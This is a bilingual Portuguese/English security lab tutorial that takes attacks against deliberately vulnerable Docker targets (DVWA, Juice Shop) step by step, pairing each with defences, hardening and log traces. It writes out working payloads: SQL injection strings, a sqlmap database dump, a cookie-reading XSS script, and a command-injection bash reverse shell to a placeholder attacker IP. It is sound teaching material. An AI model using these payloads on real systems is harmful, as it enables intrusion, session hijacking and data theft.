Hands-on lab
Web and host attacks, and the defence for each.
Recon, SQL injection, XSS, command injection and reverse shells in a safe Docker lab, then the fixes, the host hardening and the log traces that turn each attack into a detection.
Antes de começar: o ciclo e o laboratórioBefore you start: the lifecycle and the lab
"Red team" é o time que ataca de propósito, com contrato e limites claros, para encontrar falhas antes de quem não tem boas intenções encontrar. Esta nota cobre o lado técnico desse trabalho contra aplicações web e servidores: as fases de um ataque, uma ferramenta ou técnica típica de cada uma, e — tão importante quanto — a defesa que neutraliza cada uma delas. Tudo aqui roda contra alvos de laboratório que você mesmo sobe em Docker, nunca contra sistemas de terceiros. O lado humano do ataque (engenharia social, phishing) tem a sua própria nota: Engenharia social: ataque e defesa."Red team" is the group that attacks on purpose, under contract and clear boundaries, to find flaws before someone without good intentions does. This note covers the technical side of that work against web applications and servers: the phases of an attack, a typical tool or technique for each, and — just as important — the defence that neutralises each one. Everything here runs against lab targets you spin up yourself in Docker, never against someone else's systems. The human side of the attack (social engineering, phishing) has its own note: Social engineering: attack and defence.
O ciclo de um ataqueThe attack lifecycle
O laboratório: tudo em Docker, isoladoThe lab: all in Docker, isolated
Os exercícios usam três alvos de treino bem conhecidos, cada um feito de propósito para ter falhas: DVWA (Damn Vulnerable Web Application), OWASP Juice Shop e Metasploitable2. Uma rede Docker própria os isola da sua rede real — releia a seção de Docker da nota de segurança e redes antes de começar, se ainda não viu como a rede de contêineres funciona.The exercises use three well-known training targets, each built on purpose to have flaws: DVWA (Damn Vulnerable Web Application), OWASP Juice Shop and Metasploitable2. A Docker network of its own isolates them from your real network — re-read the Docker section of the security and networking note first if you have not seen how container networking works.
mkdir lab-redteam && cd lab-redteam
cat > docker-compose.yml <<'EOF'
services:
dvwa:
image: vulnerables/web-dvwa
ports: ["127.0.0.1:8081:80"] # só no seu localhost, nunca 0.0.0.0
networks: [lab]
juice-shop:
image: bkimminich/juice-shop
ports: ["127.0.0.1:8082:3000"]
networks: [lab]
kali:
image: kalilinux/kali-rolling
command: sleep infinity
networks: [lab]
networks:
lab:
driver: bridge
EOF
docker compose up -d
docker compose exec kali bash -c "apt update && apt install -y nmap curl netcat-traditional sqlmap"
docker compose exec kali nmap -sV dvwa juice-shop # confirma que os dois alvos estão de pé
Resultado esperado: o nmap mostra a porta 80 (DVWA) e 3000 (Juice Shop) abertas, com os respectivos servidores web identificados. As portas publicadas (-p) ficam só em 127.0.0.1: nada disso fica acessível de fora do seu computador.Expected result: nmap shows port 80 (DVWA) and 3000 (Juice Shop) open, with their web servers identified. The published ports are bound only to 127.0.0.1: none of this is reachable from outside your computer.
Reconhecimento: mapear antes de tocarRecon: mapping before touching
Antes de atacar qualquer coisa, um red team levanta o máximo de informação possível sem tocar no alvo diretamente (recon passivo) e só depois toca de leve para confirmar (recon ativo, como o nmap que você já viu).Before attacking anything, a red team gathers as much information as possible without touching the target directly (passive recon), and only afterwards touches it lightly to confirm (active recon, like the nmap you already saw).
| TécnicaTechnique | O que revelaWhat it reveals | Ferramenta típicaTypical tool |
|---|---|---|
| WHOIS e DNSWHOIS and DNS | dono do domínio, servidores de e-mail, subdomíniosdomain owner, mail servers, subdomains | whois, dig |
| Motores de busca especializadosSpecialised search engines | dispositivos e serviços expostos na internet, por empresa/paísdevices and services exposed on the internet, by company/country | Shodan, Censys |
| Metadados de arquivos públicosMetadata in public files | nomes de funcionários, software usado, caminhos internos, em PDFs/DOCX do siteemployee names, software used, internal paths, in the site's PDFs/DOCX | exiftool |
| Redes sociais e vazamentos públicosSocial media and public breach data | e-mails, cargos, senhas reutilizadas de vazamentos antigos (para phishing e senha)emails, job titles, reused passwords from old breaches (for phishing and passwords) | LinkedIn, Have I Been Pwned |
| Enumeração de subdomíniosSubdomain enumeration | mais superfície de ataque do que o site principal sugeremore attack surface than the main site suggests | amass, subfinder |
Um script simples de enumeraçãoA simple enumeration script
Os times profissionais usam ferramentas prontas (amass, subfinder); entender o script por trás ajuda a saber o que elas realmente fazem.Professional teams use ready-made tools (amass, subfinder); understanding the script behind them helps you know what they actually do.
#!/usr/bin/env python3
# enum_subdominios.py — tenta resolver cada nome de uma lista contra um domínio.
# Uso educacional: rode só contra domínios SEUS ou de laboratório (ex.: um domínio de teste seu).
import socket
import sys
dominio = sys.argv[1] # ex.: meulab.test
palavras = ["www", "api", "dev", "staging", "vpn", "mail", "admin"]
for palavra in palavras:
alvo = f"{palavra}.{dominio}"
try:
ip = socket.gethostbyname(alvo)
print(f"{alvo} -> {ip}")
except socket.gaierror:
pass # não existe; segue para o próximo
Resultado esperado: uma lista de subdomínios que de fato resolvem para um IP, a partir de uma lista de palavras comuns — a mesma lógica, só que com listas de milhares de palavras e em paralelo, por trás de ferramentas como o amass.Expected result: a list of subdomains that actually resolve to an IP, from a list of common words — the same logic, just with lists of thousands of words and running in parallel, behind tools like amass.
Defesa: reduzir o que existe para ser encontradoDefence: shrink what there is to find
- Inventário de ativos: você só protege o que sabe que existe. Mantenha um inventário de domínios, subdomínios e serviços expostos — é também o que o atacante está tentando reconstruir.Asset inventory: you only protect what you know exists. Keep an inventory of domains, subdomains and exposed services — it is also what the attacker is trying to reconstruct.
- Remova metadados de arquivos publicados (muitas suítes de escritório fazem isso ao exportar para PDF).Strip metadata from published files (many office suites do this on PDF export).
- Monitore menções e vazamentos da sua organização (Have I Been Pwned tem uma API para domínios inteiros).Monitor mentions and leaks of your organisation (Have I Been Pwned has an API for whole domains).
- Desative subdomínios e serviços que não são mais usados; um "dev.empresa.com" esquecido costuma ter a configuração mais fraca de todas.Disable subdomains and services no longer in use; a forgotten "dev.company.com" usually has the weakest configuration of all.
Exploração: SQL injection e XSSExploitation: SQL injection and XSS
"Exploração" é usar uma falha específica para fazer um sistema fazer algo que não deveria. A grande maioria das falhas exploradas em aplicações web cabe nas categorias do OWASP Top 10, a lista mais citada do setor. Os dois exemplos abaixo rodam contra o DVWA do laboratório desta nota (nível de segurança "low", de propósito)."Exploitation" is using a specific flaw to make a system do something it should not. The vast majority of flaws exploited in web applications fall into the categories of the OWASP Top 10, the industry's most-cited list. The two examples below run against this note's lab DVWA (security level "low", on purpose).
SQL injection: a consulta que você não escreveuSQL injection: the query you did not write
Quando uma aplicação cola a entrada do usuário direto dentro de uma consulta SQL, em vez de tratá-la como um VALOR, o usuário pode mudar a estrutura da consulta. É a falha mais didática que existe, e ainda uma das mais comuns em código legado.When an application pastes user input straight into a SQL query, instead of treating it as a VALUE, the user can change the query's structure. It is the most teachable flaw there is, and still one of the most common in legacy code.
-- o que o formulário de login do DVWA MONTA por baixo (vulnerável)
SELECT * FROM users WHERE username = '$usuario' AND password = '$senha';
-- se você digitar isto no campo "usuario":
' OR '1'='1
-- a consulta vira:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '...';
-- '1'='1' é sempre verdadeiro: a condição inteira vira verdadeira, login sem senha certa
No DVWA (módulo "SQL Injection", nível low), digite 1 OR 1=1 no campo de busca por ID de usuário. Resultado esperado: em vez de um usuário, a consulta retorna TODOS — a mesma lógica do exemplo acima, mas lendo dados em vez de pular uma senha.In DVWA ("SQL Injection" module, low level), type 1 OR 1=1 in the user-ID search field. Expected result: instead of one user, the query returns ALL of them — the same logic as the example above, but reading data instead of skipping a password.
# a mesma falha, encontrada automaticamente (ferramenta padrão do setor)
docker compose exec kali sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<copie do navegador>; security=low" --batch --dump
sqlmap automatiza exatamente esse raciocínio: testa dezenas de variações da injeção até achar uma que funcione. É a ferramenta padrão de pentest para esse tipo de falha — e também o que um time de defesa roda contra a própria aplicação antes de ela ir para produção.sqlmap automates exactly this reasoning: it tries dozens of injection variants until one works. It is the standard pentest tool for this kind of flaw — and also what a defence team runs against its own application before it goes to production.Cross-site scripting (XSS): a entrada que vira códigoCross-site scripting (XSS): input that becomes code
Se a aplicação devolve a entrada do usuário para a página HTML sem tratar, o navegador de QUEM VISUALIZAR executa o que foi digitado. No Juice Shop, procure um campo de busca ou comentário e tente:If the application echoes user input back into the HTML page without treating it, the browser of WHOEVER VIEWS IT executes what was typed. In Juice Shop, find a search or comment field and try:
<script>alert(document.cookie)</script>
Resultado esperado: uma caixa de alerta aparece mostrando o cookie da sessão — prova de que o navegador executou código que veio de um campo de texto. Num ataque real, em vez de alert(), esse script manda o cookie para um servidor do atacante, que o usa para assumir a sessão da vítima sem saber a senha dela.Expected result: an alert box appears showing the session cookie — proof the browser executed code that came from a text field. In a real attack, instead of alert(), that script sends the cookie to an attacker's server, who uses it to take over the victim's session without knowing their password.
Defesa: tratar toda entrada como hostilDefence: treat all input as hostile
| FalhaFlaw | Defesa principalMain defence |
|---|---|
| SQL injectionSQL injection | consultas parametrizadas / prepared statements (NUNCA concatenar texto do usuário no SQL) — veja a nota de Postgresparameterised queries / prepared statements (NEVER concatenate user text into SQL) — see the Postgres note |
| XSSXSS | escapar toda saída por padrão (a maioria dos frameworks modernos já faz isso) + um Content-Security-Policy restritivoescape all output by default (most modern frameworks already do this) + a strict Content-Security-Policy |
| AmbasBoth | validação de entrada no servidor (nunca só no navegador), princípio do menor privilégio no usuário do banco, scanner de dependências/SAST no CIserver-side input validation (never only in the browser), least privilege on the database user, a dependency/SAST scanner in CI |
| GeralGeneral | um WAF (Web Application Firewall) como camada extra — nunca a únicaa WAF (Web Application Firewall) as an extra layer — never the only one |
Do comando ao shell: o que vem depoisFrom command to shell: what comes next
Quando uma falha permite executar comandos no servidor (não só ler dados), o próximo passo típico é abrir um shell reverso: o servidor vulnerável se conecta DE VOLTA para uma máquina do atacante, que fica ouvindo numa porta. "Reverso" porque é o alvo que inicia a conexão — o que costuma atravessar firewalls configurados só para bloquear conexões de ENTRADA.When a flaw allows running commands on the server (not just reading data), the typical next step is opening a reverse shell: the vulnerable server connects BACK to an attacker machine, which is listening on a port. "Reverse" because the target initiates the connection — which tends to sail through firewalls configured only to block INBOUND connections.
Exercício: do campo de comando ao shellExercise: from the command field to a shell
# 1. no seu "kali" (laboratório): abra um ouvinte
docker compose exec kali nc -lvnp 4444
# 2. no DVWA (módulo "Command Injection", nível low), no campo que pede um IP para "ping",
# digite (troque pelo IP do container kali: docker inspect lab-redteam-kali-1):
127.0.0.1; bash -c 'bash -i >& /dev/tcp/IP_DO_KALI/4444 0>&1'
Resultado esperado: o terminal do nc no kali ganha um prompt interativo DENTRO do contêiner do DVWA — digite whoami ou id e veja o usuário do servidor web respondendo, como se você tivesse um terminal lá. É exatamente assim que um "ponto de apoio" inicial vira controle de um sistema.Expected result: the nc terminal on kali gets an interactive prompt INSIDE the DVWA container — type whoami or id and see the web server's user answer, as if you had a terminal there. This is exactly how an initial "foothold" becomes control of a system.
Depois do shell: o que um atacante fariaAfter the shell: what an attacker would do
| FasePhase | IdeiaIdea | Ferramenta citada (sem instruções)Tool named (no instructions) |
|---|---|---|
| Escalada de privilégioPrivilege escalation | procurar binários SUID, cron jobs mal configurados, senhas em arquivos — veja a nota de Linux, seção de permissõeslooking for SUID binaries, misconfigured cron jobs, passwords in files — see the Linux note, permissions section | linPEAS |
| PersistênciaPersistence | deixar uma forma de voltar depois (uma chave SSH extra, um serviço, uma tarefa agendada)leaving a way back later (an extra SSH key, a service, a scheduled task) | — |
| Movimento lateralLateral movement | usar o host comprometido como ponte para alcançar outras máquinas da mesma rede interna (o mesmo princípio do ssh -D da nota de segurança e redes)using the compromised host as a bridge to reach other machines on the same internal network (the same idea as ssh -D in the security and networking note) | proxychains |
| Comando e controle (C2)Command and control (C2) | em vez de um nc simples, um framework cifrado, resiliente a quedas, para controlar vários hosts de uma vezinstead of plain nc, an encrypted, drop-resilient framework to control several hosts at once | Metasploit, Sliver, Cobalt Strike |
| ExfiltraçãoExfiltration | copiar dados para fora, muitas vezes disfarçados de tráfego comum (DNS, HTTPS)copying data out, often disguised as ordinary traffic (DNS, HTTPS) | — |
Defesa: supor que alguém vai conseguir um shellDefence: assume someone will get a shell
| ControleControl | ReduzReduces |
|---|---|
| Filtragem de saída (egress filtering)Egress filtering | um shell reverso precisa que o SERVIDOR consiga abrir uma conexão de saída não usual — bloqueie isso por padrãoa reverse shell needs the SERVER to open an unusual outbound connection — block that by default |
| Princípio do menor privilégioLeast privilege | o usuário que roda a aplicação web não deveria ter permissão de executar comandos do sistemathe user running the web application should not have permission to run system commands |
| EDR / monitoramento de processosEDR / process monitoring | alerta quando um processo de servidor web gera um shell filho (bash, sh, powershell) — um padrão muito incomum e muito usado para detecçãoalerts when a web server process spawns a child shell (bash, sh, powershell) — a very unusual pattern and a common detection signature |
| Segmentação de redeNetwork segmentation | limita até onde um host comprometido consegue "andar" (movimento lateral)limits how far a compromised host can "walk" (lateral movement) |
| Backups testados e offlineTested, offline backups | reduz o impacto se tudo mais falhar — veja a regra 3-2-1 na nota de Postgresreduces the impact if everything else fails — see the 3-2-1 rule in the Postgres note |
O outro lado: o que o blue team enxergaThe other side: what the blue team sees
Cada fase do ciclo deixa um rastro, e é nele que o time de defesa (blue team) trabalha. Quem entende só o ataque conhece metade do jogo: o ofício completo é saber o que o ataque faz e onde isso aparece. A tabela abaixo é o elo entre esta nota e a parte defensiva da trilha.Every phase of the lifecycle leaves a trace, and that is where the defending team (blue team) works. Knowing only the attack is half the game: the full craft is knowing what the attack does and where it shows up. The table below is the link between this note and the defensive part of the path.
| FasePhase | O rastro que ficaThe trace it leaves | Onde apareceWhere it shows up |
|---|---|---|
| Recon | um scan de portas: muitas tentativas de conexão a portas diferentes, vindas de um IP, em poucos segundos; enumeração web: dezenas de 404 seguidos com o user-agent de uma ferramentaa port scan: many connection attempts to different ports from one IP within seconds; web enumeration: dozens of 404s in a row with a tool's user-agent | logs de firewall, IDS (Suricata) e log de acesso do servidor webfirewall logs, IDS (Suricata) and the web server access log |
| Engenharia social | um link clicado e, em seguida, um login de um IP ou país incomum; vários pedidos de MFA seguidos (fadiga de MFA)a clicked link and then a login from an unusual IP or country; several MFA prompts in a row (MFA fatigue) | logs do provedor de identidade e do e-mail; denúncias dos próprios usuáriosidentity provider and email logs; reports from the users themselves |
| SQL injection e XSS | parâmetros com aspas, UNION SELECT ou <script> no log de acesso; picos de erro 500 vindos do bancoparameters with quotes, UNION SELECT or <script> in the access log; spikes of 500 errors from the database | log de acesso, log da aplicação, WAF (por exemplo, ModSecurity com o OWASP CRS)access log, application log, WAF (for example ModSecurity with the OWASP CRS) |
| Shell / execução | o processo do servidor web gerando um filho sh ou bash; uma conexão de saída que o servidor nunca fez antesthe web server process spawning a sh or bash child; an outbound connection the server never made before | auditd, EDR, logs de saída do firewall; a regra Sigma do projeto 5 da trilhaauditd, EDR, firewall egress logs; the Sigma rule from project 5 of the path |
| Depois do shell | um usuário, uma chave em authorized_keys ou uma tarefa do cron novos; um binário SUID que não existiaa new user, a key in authorized_keys or a cron job; a SUID binary that did not exist | /var/log/auth.log, monitoramento de integridade de arquivos (o Wazuh faz isso), auditd/var/log/auth.log, file integrity monitoring (Wazuh does this), auditd |
docker compose logs, uma captura com o tcpdump lida pelo Suricata). Anote o que apareceu e o que passou em silêncio. A trilha tem o roteiro completo nos projetos 3 (mini SOC) e 5 (regra Sigma).Purple team exercise: repeat each lab step of this note and, after each one, look for the matching trace (the DVWA container access log, docker compose logs, a tcpdump capture read by Suricata). Note what appeared and what slipped past silently. The path has the full script in projects 3 (mini-SOC) and 5 (Sigma rule).Hardening do servidor: fechar antes de alguém abrirServer hardening: close it before someone opens it
Depois de ver como um shell se abre, a defesa mais eficaz é reduzir o que existe para ser explorado antes de qualquer ataque. "Hardening" é esse trabalho de endurecimento: cada item abaixo fecha uma porta que as seções anteriores usaram para entrar ou para persistir.After seeing how a shell gets opened, the most effective defence is shrinking what there is to exploit before any attack happens. "Hardening" is that toughening work: each item below closes a door the previous sections used to get in or to persist.
| ItemItem | Comando / onde configurarCommand / where to configure | FechaCloses |
|---|---|---|
| Usuário sem privilégio para o servidor webUnprivileged user for the web server | User www-data no systemd/nginx, nunca root | o alcance de um comando executado através de uma falha na aplicaçãothe reach of a command run through an application flaw |
| Patches em diaPatches up to date | sudo apt update && sudo apt upgrade, automatizado com unattended-upgrades | CVEs conhecidos, a maioria do que scanners automatizados encontramknown CVEs, most of what automated scanners find |
| Auditoria de binários SUIDSUID binary audit | find / -perm -4000 -type f 2>/dev/null, comparado com uma lista conhecida | escalada de privilégio via um binário SUID extra ou mal configuradoprivilege escalation via an extra or misconfigured SUID binary |
| Permissões de cron e cuidado com scripts graváveisCron permissions and writable-script care | ls -la /etc/cron.d/ /etc/crontab; nenhum script chamado por root deve ser gravável por outro usuário | persistência via tarefa agendadapersistence via a scheduled task |
| Filtragem de saída (egress)Egress filtering | nftables/ufw negando saída por padrão — veja a nota de ataque e defesa em redes | shells reversos e exfiltraçãoreverse shells and exfiltration |
| Monitoramento de integridade de arquivosFile integrity monitoring | Wazuh, auditd com regras em /etc/audit/rules.d/ | chaves SSH, usuários e binários adicionados sem você saberSSH keys, users and binaries added without you knowing |
| Content-Security-Policy e escape de saídaContent-Security-Policy and output escaping | no framework/middleware — veja a nota de aplicações web segurasin the framework/middleware — see the secure web apps note | XSS |
Exercício: auditar a sua própria VM de laboratórioExercise: audit your own lab VM
# rode no host do laboratório (não no contêiner DVWA, que é feito para ter falhas)
find / -perm -4000 -type f 2>/dev/null | sort > suid-antes.txt
# depois de qualquer alteração no sistema, repita e compare:
find / -perm -4000 -type f 2>/dev/null | sort > suid-depois.txt
diff suid-antes.txt suid-depois.txt
Resultado esperado: o diff fica vazio numa máquina que você não alterou; qualquer linha que aparecer é um binário SUID novo, exatamente o tipo de mudança que a tabela "depois do shell" da seção anterior descreve como rastro de escalada de privilégio.Expected result: the diff is empty on a machine you have not changed; any line that shows up is a new SUID binary, exactly the kind of change the previous section's "after the shell" table describes as a privilege-escalation trace.
Cola e revisãoCheat sheet and review
Cola: o ciclo e a defesa de cada faseCheat sheet: the lifecycle and each phase's defence
| FasePhase | Pergunta que o atacante fazQuestion the attacker asks | Defesa principalMain defence |
|---|---|---|
| ReconRecon | o que existe, publicamente?what exists, publicly? | inventário de ativos, remover metadados, monitorar vazamentos |
| Engenharia socialSocial engineering | quem confia em quem, e por quê?who trusts whom, and why? | MFA resistente a phishing, cultura de verificação, treinamento |
| ExploraçãoExploitation | o que essa entrada faz se eu mudar o formato dela?what does this input do if I change its shape? | consultas parametrizadas, escapar saída, validar no servidor |
| Shell / execuçãoShell / execution | consigo rodar um comando meu aqui?can I run a command of mine here? | menor privilégio, filtragem de saída, EDR |
| Escalada e persistênciaEscalation and persistence | como viro alguém com mais poder, e fico?how do I become someone with more power, and stay? | patches, auditoria de SUID/cron, menor privilégio |
| Movimento lateralLateral movement | que outras máquinas esse host alcança?what other machines can this host reach? | segmentação de rede, firewall interno |
| ExfiltraçãoExfiltration | como tiro dados sem ser notado?how do I get data out unnoticed? | filtragem de saída, DLP, alertas de anomalia |
Perguntas de revisãoReview questions
| PerguntaQuestion | RespostaAnswer |
|---|---|
| Por que um pentest precisa de um contrato antes de começar?Why does a pentest need a contract before it starts? | Porque as mesmas técnicas, sem autorização por escrito e escopo definido, são crime em praticamente todo lugar.Because the same techniques, without written authorization and a defined scope, are a crime almost everywhere. |
| Qual a diferença entre recon passivo e ativo?What is the difference between passive and active recon? | Passivo não toca o alvo (WHOIS, Shodan); ativo manda pacotes para ele (nmap).Passive never touches the target (WHOIS, Shodan); active sends packets to it (nmap). |
| Por que o phishing é o vetor inicial mais comum, segundo os relatórios do setor?Why is phishing the most common initial vector, per industry reports? | Explora confiança humana, que é mais difícil de corrigir com uma atualização do que uma falha de software.It exploits human trust, which is harder to patch than a software flaw. |
| O que uma consulta parametrizada evita, que concatenar texto não evita?What does a parameterised query prevent that concatenating text does not? | Trata a entrada do usuário sempre como um VALOR, nunca como parte da estrutura do comando SQL.It always treats user input as a VALUE, never as part of the SQL command's structure. |
| Por que um shell reverso costuma passar por firewalls que bloqueiam entrada?Why does a reverse shell usually get past firewalls that block inbound traffic? | Porque é o ALVO que inicia a conexão de saída, não o atacante que tenta entrar.Because the TARGET initiates the outbound connection, not the attacker trying to get in. |
| O que é movimento lateral?What is lateral movement? | Usar um host já comprometido como ponte para alcançar outras máquinas da mesma rede.Using an already-compromised host as a bridge to reach other machines on the same network. |
| Cite dois controles que reduzem o risco de engenharia social sem depender só do usuário perceber.Name two controls that reduce social-engineering risk without relying solely on the user noticing. | MFA resistente a phishing e SPF/DKIM/DMARC no domínio (entre outros: segmentação, menor privilégio).Phishing-resistant MFA and SPF/DKIM/DMARC on the domain (among others: segmentation, least privilege). |
- MITRE ATT&CK. The public, industry-standard catalogue of adversary tactics and techniques.
- OWASP Top 10. The most-cited list of web application security risks.
- Dafydd Stuttard and Marcus Pinto. The Web Application Hacker's Handbook, 2nd edition. Wiley, 2011.
- CIS Benchmarks. Consensus-based Linux and web server hardening guides.
- SigmaHQ. Generic signature format for SIEM systems (the detection side of this note).
- Penetration Testing Execution Standard (PTES).
- NIST Special Publication 800-115. Technical Guide to Information Security Testing and Assessment.
- Damn Vulnerable Web Application (DVWA) project.
- OWASP Juice Shop project.
- CompTIA PenTest+ exam objectives.